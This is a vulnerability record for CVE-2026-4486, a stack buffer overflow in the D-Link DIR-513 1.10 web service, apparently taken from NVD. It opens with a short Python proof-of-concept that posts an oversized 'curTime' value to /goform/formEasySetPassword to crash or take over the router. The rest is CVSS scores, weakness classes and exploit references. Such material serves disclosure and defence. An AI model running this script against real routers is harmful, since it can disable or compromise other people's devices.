CVE-2026-4486

import requests def exploit(target_ip): url = f"http://{target_ip}/goform/formEasySetPassword" # The vulnerable parameter is 'curTime'. # Sending a large payload triggers the stack-based buffer overflow. payload = { "curTime": "A" * 1000 } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=payload, timeout=5) print(f"[+] Request sent. Status code: {response.status_code}") print("[+] Check the device for a crash or shell.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

{"cve": {"id": "CVE-2026-4486", "sourceIdentifier": "[email protected]", "published": "2026-03-20T14:16:16.907", "lastModified": "2026-04-03T19:35:51.653", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in D-Link DIR-513 1.10. This affects the function formEasySetPassword of the file /goform/formEasySetPassword of the component Web Service. The manipulation of the argument curTime results in stack-based buffer overflow. The attack may be performed from remote. The exploit has been made public and could be used. This vulnerability only affects products that are no longer supported by the maintainer."}, {"lang": "es", "value": "Una vulnerabilidad fue encontrada en D-Link DIR-513 1.10. Esto afecta la función formEasySetPassword del archivo /goform/formEasySetPassword del componente Servicio Web. La manipulación del argumento curTime resulta en desbordamiento de búfer basado en pila. El ataque puede ser realizado desde remoto. El exploit ha sido hecho público y podría ser usado. Esta vulnerabilidad solo afecta productos que ya no son soportados por el mantenedor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-513_firmware:1.10:*:*:*:*:*:*:*", "matchCriteriaId": "3DF100F1-CDF4-4B41-B19F-D576B72DC3CD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-513:a1:*:*:*:*:*:*:*", "matchCriteriaId": "92E54574-A6CD-4BD2-8C4A-308DAAB3AFCA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-513:a2:*:*:*:*:*:*:*", "matchCriteriaId": "AEC92A9F-60F5-4918-B9F9-C596A225AA59"}]}]}], "references": [{"url": "https://github.com/InfiniteLin/Lin-s-CVEdb/blob/main/DIR-513/formEasySetPassword/formEasySetPassword.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/InfiniteLin/Lin-s-CVEdb/blob/main/DIR-513/formEasySetPassword/poc.py", "source": "[email protected]", "tags": ["Exploit"]}, {"url": ... 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